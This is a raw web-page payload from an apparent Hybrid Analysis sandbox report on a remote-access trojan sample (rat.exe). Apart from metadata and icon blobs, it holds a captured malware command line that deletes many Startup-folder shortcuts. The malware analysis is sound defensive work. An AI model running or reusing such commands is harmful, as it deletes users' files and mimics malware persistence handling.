24:I[10321,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/3h6zdc-it88if.js","/_next/static/chunks/2vw2j18d9u3gs.js","/_next/static/chunks/3l_wb6il5gi_h.js"],"ReportDetailWrapper"] 9d:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4b8,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious — Falcon Sandbox Report 59e4f6487ca3… — Score 95/100 — Sample 4f0cf4cde34b…","description":"Malicious verdict for sandbox report 59e4f6487ca3…. Threat score 95/100. 4 malicious and 14 suspicious behavioral indicators across 38 signatures. Detonated in Windows 7 32 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT\u0026CK mappings.","url":"/sample/4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e/59e4f6487ca3e1556b572de3","keywords":["Malicious","sandbox report","malware analysis","MITRE ATT\u0026CK","4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e"],"about":{"@type":"SoftwareApplication","name":"rat.exe","applicationCategory":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","identifier":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e","additionalType":"Malicious sample"},"threatScore":95,"sandboxEnvironment":"Windows 7 32 bit","behavioralIndicators":{"malicious":4,"suspicious":14,"totalSignatures":38},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==26:T168f,/k @echo.&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&27:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==28:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==29:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==2a:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==2b:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==2c:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==2d:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmZmZmZmZmQAAAAAAAAAAAJmZmZmZmZkKAAAAAAAAAACZmZmZmZmZCqAAAAAAAAAAmZmZmZmZmQqqAAAAAAAAAJmZmZmZmZkKqqAAD/8AAACZmZmZmZmZCqqgAP//8AAAmZmZmZmZmQoAAAD///AAAJmZmZmZmZkKqqAA+//wAACZmZmZmZmZCqqgu7u/AAAAmZmZmZmZmQqqoAC7sAAAAJmZmZmZmZkKqqAAsLAAAAAAAAAAAAAACqqgALC7AAAADMzMzMzMzMCqoAAAAAAAAADMzMzMzMzMCqAAAAAAAAAADAzMzMzMzMCgAAAAAAAAAAAMzMzMzMzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAAAAAC7C7/wAAAAAAAAAAAAAAAAC7v//wAAAAAAAAAAAAAAC7u7v/8AAAAAAAAAAAAAAAu7v///AAAAAAAAAAAAAAAAC7D/8AAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAD////////////////gAB//4AAP/+AAB//gAAP/4AAB8+AAAMHgAACA4AAAAOAAAIDgAAAB4AAAw+AAANfgAADT8AAA//gAAP/8AAD//gAA//8AAP//f////3////9/////f///zj///+Qf///wD///wA///8AP///wH///+D///w==2e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==2f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///